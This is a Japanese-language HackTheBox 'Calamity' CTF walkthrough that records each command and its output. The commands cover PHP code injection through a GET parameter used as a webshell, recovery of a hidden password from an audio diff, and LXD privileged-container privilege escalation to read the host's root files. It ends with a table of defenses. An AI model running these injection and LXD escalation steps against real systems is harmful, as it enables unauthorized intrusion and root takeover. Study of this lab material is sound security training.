HackTheBox: Calamity — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)のみ
→
22(SSH)/80(HTTP)のみ
admin.php cookie門番
HTMLコメントにPW平文
→
HTMLコメントにPW平文
HTML Parser 未サニタイズPHP
GET html= で shell_exec
→
GET html= で shell_exec
www-data シェル
user.txt ✓
→
user.txt ✓
recov.wav / rick.wav 差分
隠し音声→パスワード抽出
→
隠し音声→パスワード抽出
xalvas SSHログイン
→
lxdグループ所属を確認
→
特権LXDコンテナ
security.privileged=true
→
security.privileged=true
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & VPN接続確認
BASH
ip a show tun0 ping -c 2 -W 3 10.129.88.33 nmap -Pn -T4 -p 21,22,80,443,8080 10.129.88.33
RESULT
tun0: inet 10.10.15.200/23 (HTB VPN 接続済み) 64 bytes from 10.129.88.33: icmp_seq=1 ttl=63 time=190 ms PORT STATE SERVICE 21/tcp closed ftp 22/tcp open ssh 80/tcp open http 443/tcp closed https 8080/tcp closed http-proxy
バナー確認 (ターゲット同定)
BASH
curl -s -i http://10.129.88.33/ echo | nc -w3 10.129.88.33 22
RESULT
HTTP/1.1 200 OK Server: Apache/2.4.18 (Ubuntu) Last-Modified: Tue, 27 Jun 2017 17:18:04 GMT <h1 style="color:red">Brotherhood Software - writing security related software since 2009</h1> <!-- and bad at html and design since forever --> SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
✅
ターゲット確認: “Brotherhood Software” バナーと2017年の
Last-Modified から
指定IPが HackTheBox Calamity (Insane / D17.100.38) と一致することを確認。
開放ポートは 22/80のみ という極端に絞られた構成で、本機は自作Webアプリと
カスタムSUIDバイナリ1本に攻略経路が集約されている。
PHASE 2
admin.php の cookie 門番突破
admin.php のソース確認 — ラベル入替フォーム + パスワードヒント
BASH
curl -s http://10.129.88.33/admin.php
RESULT
<form method="post"> Password: <input type="text" name="user"><br> Username: <input type="password" name="pass"><br> <input type="submit" value="Log in to the powerful administrator page"> <!-- password is:skoupidotenekes--> </form>
⚠️
表示ラベルの “Password” と “Username” が入れ替わっているワナ。
実際に送信すべきなのは name属性通り:
user=admin
(ユーザー名) と pass=skoupidotenekes (ソースコメントに平文で
埋め込まれたパスワード) で、表示文言は無視してよい。
単純なPOSTでは失敗する — cookieゲートの発見
BASH
curl -s -i -X POST http://10.129.88.33/admin.php -d "user=admin&pass=skoupidotenekes"
RESULT
HTTP/1.1 200 OK
Set-Cookie: adminpowa=noonecares
refresh: 0;
(ログインフォームがそのまま返るだけで認証は成立しない)
ℹ️
初回アクセス時に
Set-Cookie: adminpowa=noonecares が発行されるが、
その同じリクエストにはまだ反映されない。この cookie を次の
リクエストで送り返して初めて認証チェックが通る、という2段階構成になっている。
cookieを付けて再送 → ログイン成功
BASH
curl -s -i -b "adminpowa=noonecares" -X POST http://10.129.88.33/admin.php \ -d "user=admin&pass=skoupidotenekes"
RESULT
<title>GOT U BEEJAY</title> TADAA IT HAS NOTHING ...anyway I made an html interpreter to work on my php skills ! html is super-harmless to our system! <form method="get"> Your HTML: <input type="text" name="html"><br> <input type="submit" value="SHOW ME DA PAGE"> </form>
✅
ログイン成功。 管理者ページの正体は「HTMLをそのまま埋め込んで表示する」
という名目の GETパラメータ
html を受け取るページだった。
開発者コメントの通り「html is super-harmless」なはずだが、サニタイズが一切無い。
PHASE 3
HTML Parser 経由の未サニタイズPHP実行 → user.txt
PHPタグ注入の確認
BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
--data-urlencode 'html=<?php echo "CMDTEST_".md5("x"); ?>'
RESULT
...(装飾HTMLの末尾に)
CMDTEST_9dd4e461268c8034f5c8564e155c67a6
✅
md5(“x”) の計算結果が返ってきたことで、
html パラメータの値が
そのまま PHPコードとして実行される(RCE) ことを確認。
コマンド実行 (shell_exec) — 1リクエスト1コマンドの独立実行方式
BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
--data-urlencode 'html=<?php echo "OUT:".shell_exec("id;hostname;uname -a"); ?>'
RESULT
OUT:uid=33(www-data) gid=33(www-data) groups=33(www-data)
calamity
Linux calamity 4.4.0-81-generic #104-Ubuntu SMP ... i686 athlon i686 GNU/Linux
⚠️
重要: このマシンには
nc・python・sh 等の
プロセスを数秒で強制終了する監視スクリプトが常駐している
(後述 3-4 の intrusions ログで実証)。そのため 持続的な
リバースシェルは使わず、毎回 shell_exec() を1回限りの
HTTPリクエストとして送る「独立リクエスト型Webシェル」として admin.php
自体を使い続けるのが最も安定する。
user.txt 取得
BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
--data-urlencode 'html=<?php echo "OUT:".shell_exec("cat /home/xalvas/user.txt"); ?>'
RESULT
OUT:ec85507d650aaa402119bc357b47b381
user.txt — www-data経由で読み取り (world-readable)
ec85507d650aaa402119bc357b47b381
xalvasホームディレクトリの偵察
BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
--data-urlencode 'html=<?php echo shell_exec("ls -la /home/xalvas/ 2>&1"); ?>'
# dontforget.txt / intrusions も同様に cat で取得
RESULT
drwxr-x--- 2 root xalvas 4096 app -rw-r--r-- 1 root root 225 dontforget.txt -rw-r--r-- 1 root root 1424 intrusions -rw-r--r-- 1 xalvas xalvas 3196724 recov.wav -r--r--r-- 1 root root 33 user.txt --- dontforget.txt --- peda keeps commads history in the working dir...you should make a dir in /tmp and work from there. keep in mind that tmp is not listable... --- intrusions (末尾) --- POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2017-06-29 12:16:10 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python3...PROCESS KILLED AT 2022-07-13 09:38:04 --- alarmclocks/ --- -rw-r--r-- 1 root root 3196668 rick.wav -rw-r--r-- 1 root root 2645839 xouzouris.mp3
🚨
intrusions ログが nc / python / python3 / sh の自動kill
を裏付けている(3-2の判断根拠)。また recov.wav と
alarmclocks/rick.wav という「サイズが微妙に異なる同系統の音声ファイル」
が次のフェーズの手掛かりになる。
PHASE 4
隠し音声フォレンジック — recov.wav / rick.wav の位相差分
base64+echoでの転送は大容量WAVで途中切断される
BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
--data-urlencode 'html=<?php echo base64_encode(file_get_contents("/home/xalvas/alarmclocks/rick.wav")); ?>' \
-o rick.b64
RESULT
実ファイルサイズ: 3,196,668 bytes (base64で約4,262,224文字になるはず) 1回目の取得: 2,807,813 文字で 切断 2回目の取得: 2,709,263 文字で別の長さで切断 (再現性なし)
⚠️
echo base64_encode(...) を1リクエストで返す方式は、3MB級の
ファイルで毎回異なる長さに途中切断される(タイムアウト系の
挙動と推測、原因は未特定)。この方式は信頼できないため、別の取得経路に切り替える。
解決策: /uploads/ へコピーしてApache静的配信で直接ダウンロード
BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" --data-urlencode \
'html=<?php echo shell_exec("cp /home/xalvas/recov.wav /home/xalvas/alarmclocks/rick.wav /var/www/html/uploads/ 2>&1; ls -la /var/www/html/uploads/"); ?>'
curl -s -o recov.wav "http://10.129.88.33/uploads/recov.wav"
curl -s -o rick.wav "http://10.129.88.33/uploads/rick.wav"
RESULT
-rw-r--r-- 1 www-data www-data 3196724 recov.wav -rw-r--r-- 1 www-data www-data 3196668 rick.wav $ file recov.wav rick.wav recov.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz rick.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz (サイズが ls -la の値と完全一致 = 欠損なし)
✅
/uploads/ ディレクトリは www-data が書込可能(かつ
Apacheから直接配信可能)なため、PHPのechoを経由せず静的ファイル配信
として取得すれば巨大ファイルでも欠損しない。取得後は rm -f で
公開ディレクトリから速やかに削除しておく。
サンプル単位の差分(位相反転相当)でアラーム音を相殺
PYTHON
import wave, numpy as np
with wave.open('recov.wav','rb') as wf:
p = wf.getparams()
a = np.frombuffer(wf.readframes(wf.getnframes()), dtype=np.int16).astype(np.int64)
with wave.open('rick.wav','rb') as wf:
b = np.frombuffer(wf.readframes(wf.getnframes()), dtype=np.int16).astype(np.int64)
diff = a - b # 共通のアラーム音(Rick Astleyの曲)を相殺
maxv = np.iinfo(np.int16).max
diff = np.clip(diff, -maxv-1, maxv).astype(np.int16)
with wave.open('diff.wav','wb') as wf:
wf.setnchannels(p.nchannels); wf.setsampwidth(p.sampwidth); wf.setframerate(p.framerate)
wf.writeframes(diff.tobytes())
RESULT
両ファイルとも 799,140 frames / 44100Hz / stereo / 16bit で長さが完全一致 diff.wav のうち非ゼロサンプルの割合: 86.6% ffmpeg volumedetect: mean_volume=-29.9dB, max_volume=-8.3dB(小さいが信号あり)
ℹ️
2つの録音は同じ曲(Rick Astley – Never Gonna Give You Up)の別録りで、
フレーム数とフォーマットが完全一致しているため、単純なサンプル減算
だけで共通成分(アラーム曲)を打ち消し、残差として隠された音声を取り出せる。
増幅 + 前後半スワップ + 音声認識 (Google Web Speech API)
BASH
# 音量が小さいので +15dB、認識しやすいよう mono/16kHzに変換 ffmpeg -y -i diff.wav -af "volume=15dB" -ac 1 -ar 16000 diff_boost.wav pip install --break-system-packages SpeechRecognition
PYTHON (前後半スワップ + 書き起こし)
import wave
with wave.open('diff_boost.wav','rb') as wf:
p = wf.getparams(); raw = wf.readframes(wf.getnframes())
half = len(raw)//2
half -= half % (p.sampwidth * p.nchannels)
swapped = raw[half:] + raw[:half] # 「前半/後半が入れ替わっている」というヒント通りに復元
with wave.open('diff_swapped.wav','wb') as wf:
wf.setnchannels(p.nchannels); wf.setsampwidth(p.sampwidth); wf.setframerate(p.framerate)
wf.writeframes(swapped)
import speech_recognition as sr
r = sr.Recognizer()
with sr.AudioFile('diff_swapped.wav') as source:
audio = r.record(source)
print(r.recognize_google(audio))
RESULT
диff_boost.wav (スワップ無し) → '47936.00'
diff_swapped.wav (スワップ有り) → 'your password is 18547936 dot dot asterisk'
✅
パスワード判明: “dot dot asterisk” は文字通り記号
..* を読み上げたもの。よって xalvas のパスワードは
18547936..*。スワップ無しでは断片的にしか
聞こえないが、前後半を入れ替えると文全体が正しい順序で再生される。
PHASE 5
xalvas SSHログイン & 権限調査
抽出パスワードでSSH認証
BASH
sshpass -p '18547936..*' ssh -o StrictHostKeyChecking=no xalvas@10.129.88.33 "id; hostname"
RESULT
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip), 46(plugdev),110(lxd),115(lpadmin),116(sambashare) calamity
✅
SSHログイン成功。 本来この先は
~/app/goodluck
(SUID想定) の多段バッファオーバーフロー — createusername関数の構造体汚染で
secretキーをリーク → admin化 → 2段目BOFでEIP制御 → ret2mprotect という
非常に複雑な経路が意図されている(公式ライトアップの大半はこれに割かれている)。
⚠️
しかし
groups に lxd が含まれている点に注目。
これは公式ライトアップでも「LXD Bypass」として明記されている既知のショートカットで、
goodluckバイナリに一切触れずに root を取得できる。
PHASE 6
LXDグループ悪用 → root.txt
LXD環境確認
BASH
sshpass -p '18547936..*' ssh xalvas@10.129.88.33 \ "which lxc lxd; lxc version; lxc image list; uname -m"
RESULT
/usr/bin/lxc /usr/bin/lxd 2.0.10 (imageは未登録、uname -m = i686 = 32bit)
ℹ️
LXD 2.0.10 かつ ターゲットが32bit(i686) である点が重要。
通常のLXD-alpine-builderの手順は x86_64 を前提にしていることが多いため、
i386/x86用のAlpineイメージを明示的に用意する必要がある。
i386(32bit)版 Alpineイメージの作成
BASH
git clone --depth 1 https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpine -a x86
RESULT
alpine-v3.24-x86-20261023_0642.tar.gz 作成完了 (約3.9MB)
metadata.yaml: {"architecture": "x86", ...}
ハマりポイント: LXD 2.0.x は architecture 文字列 “x86” を拒否する
BASH
scp alpine-v3.24-x86-*.tar.gz xalvas@10.129.88.33:/tmp/alpine.tar.gz ssh xalvas@10.129.88.33 "lxc image import /tmp/alpine.tar.gz --alias alpine"
RESULT
error: Architecture isn't supported: x86
⚠️
原因: LXD 2.0.10 のアーキテクチャ名テーブルは
"x86"
という表記を認識せず、32bit x86 は "i686"
(または "i386") という表記でなければ受理しない。
build-alpine が生成する metadata.yaml の
architecture フィールドを書き換えて tar.gz を再生成すれば解決する。
BASH (修正)
mkdir extract && tar -xzf alpine-v3.24-x86-*.tar.gz -C extract metadata.yaml sed -i 's/"x86"/"i686"/g' extract/metadata.yaml mkdir repack && cd repack tar -xzf ../alpine-v3.24-x86-*.tar.gz cp ../extract/metadata.yaml ./metadata.yaml tar -czf ../alpine-fixed.tar.gz metadata.yaml templates rootfs
RESULT
scp + 再importで成功:
+--------+--------------+--------+--------------------------------+------+--------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE |
+--------+--------------+--------+--------------------------------+------+--------+
| alpine | 206cba63b9ea | no | alpine v3.24 (20261023_06:42) | i686 | 3.76MB |
+--------+--------------+--------+--------------------------------+------+--------+
特権コンテナ作成 → ホストの / をマウント → root.txt
BASH
ssh xalvas@10.129.88.33 " lxc init alpine calroot -c security.privileged=true lxc config device add calroot sharedroot disk source=/ path=/mnt/root recursive=true lxc start calroot sleep 5 lxc exec calroot -- /bin/sh -c 'cat /mnt/root/root/root.txt' "
RESULT
Creating calroot
Device sharedroot added to calroot
3093be156040c0377b32efe100df8d4a
root.txt — LXD特権コンテナ経由でホストの / を読み取り
3093be156040c0377b32efe100df8d4a
✅
security.privileged=true のコンテナはホストと同じ特権で動作するため、
バインドマウントした /mnt/root (= ホストの /) は
コンテナ内からroot権限で読み書き自由になる。
goodluck バイナリの複雑な多段BOFに一切触れずに root.txt を取得できた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — www-data経由 (world-readable)
ec85507d650aaa402119bc357b47b381
root.txt — LXD特権コンテナ経由
3093be156040c0377b32efe100df8d4a
使用した脆弱性・設定ミス
| 脆弱性/設定ミス | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 平文パスワード露出 | admin.php (HTMLコメント) | 認証バイパス情報の漏洩 | Medium | HTMLソースのコメント内に管理ログインパスワードが平文で記載 |
| 未サニタイズPHP実行 | admin.php 「HTML Parser」(GET html) |
リモートコード実行 (www-data) | Critical | <?php ... ?> タグをそのまま評価・実行。1リクエスト型shell_execで
プロセス監視killerを回避しuser.txt取得 |
| ステガノグラフィ的パスワード隠蔽 | recov.wav / alarmclocks/rick.wav | SSH認証情報の漏洩 | Medium | 2つの近似音声の位相差分(サンプル減算)でアラーム音を相殺し隠し音声を抽出・音声認識 |
| LXDグループの誤設定 | xalvas ユーザー (lxd グループ所属) | 権限昇格 (root) | Critical | sudoなしでlxdグループに追加 → security.privileged=trueコンテナでホストの/ をマウントしroot.txt取得 (意図されたgoodluckバイナリの 多段BOFを完全に回避) |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + curl バナー確認 | 22/80のみ開放、”Brotherhood Software” = Calamity確定 |
| 2 | 認証突破 | HTMLコメント平文PW + 2段階cookieゲート | admin.php管理ページ(HTML Parser)へのアクセス権 |
| 3 | RCE | 未サニタイズPHPタグ + 独立リクエスト型shell_exec | user.txt、recov.wav/rick.wav回収 |
| 4 | 音声フォレンジック | サンプル差分 + 前後半swap + Google音声認識 | xalvasのSSHパスワード 18547936..* |
| 5 | 横移動 | SSH + 権限調査(id) | xalvasシェル、lxdグループ所属を確認 |
| 6 | 権限昇格 | i686版Alpine LXDイメージ + 特権コンテナ | root.txt(goodluckの多段BOFを回避) |
公式に意図されていた「本来の」root化経路 (参考)
ℹ️
本機 “Insane” の主題は
~/app/goodluck という自作SUIDバイナリに対する
多段バッファオーバーフローである: ①createusername()の
12byteコピー/4byte配列ミスマッチでEBX(GOTベース)を汚染→②printdeb()を
任意アドレス読み取りプリミティブ化して hey.secret をリーク→③リーク値で
hey.adminとhey.secretを正しく偽装しattempt_login()を
通してdebug()を起動→④debug()が公開する大きな脆弱バッファと
メモリマップに対し、ASLR無効・ret2mprotect(スタックページをRWX化)でシェルコードを実行し
root化する、という流れが公式ライトアップの主題。本レポートでは
xalvasがlxdグループに所属という設定ミスがこの複雑な経路を完全に
迂回できたため、時間効率を優先してLXD経路を採用した。
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 管理ログインパスワードがHTMLコメントに平文で残っている | コメントやデバッグ情報を本番コードから完全に削除する。認証情報はソースではなく サーバー側の秘密管理機構(環境変数・Vault等)で管理する。 |
| ユーザー入力(HTML)をサニタイズせずPHPとして評価・出力している | ユーザー入力を直接 eval/include 的に扱わない。
HTML整形が目的なら htmlspecialchars() でエスケープし、
テンプレートエンジンを使う。 |
| world-readableな user.txt、世界読み取り可能な隠しパスワード音声 | 秘密情報を含むファイルはパーミッションを所有者限定(600/640)にする。 |
| 一般ユーザーがsudo権限なしでlxdグループに追加されている | lxdグループ(dockerグループと同様に実質root相当の権限)をメンバーシップ管理の 対象外にしない。付与前に必ず影響範囲を把握し、最小権限の原則を徹底する。 |
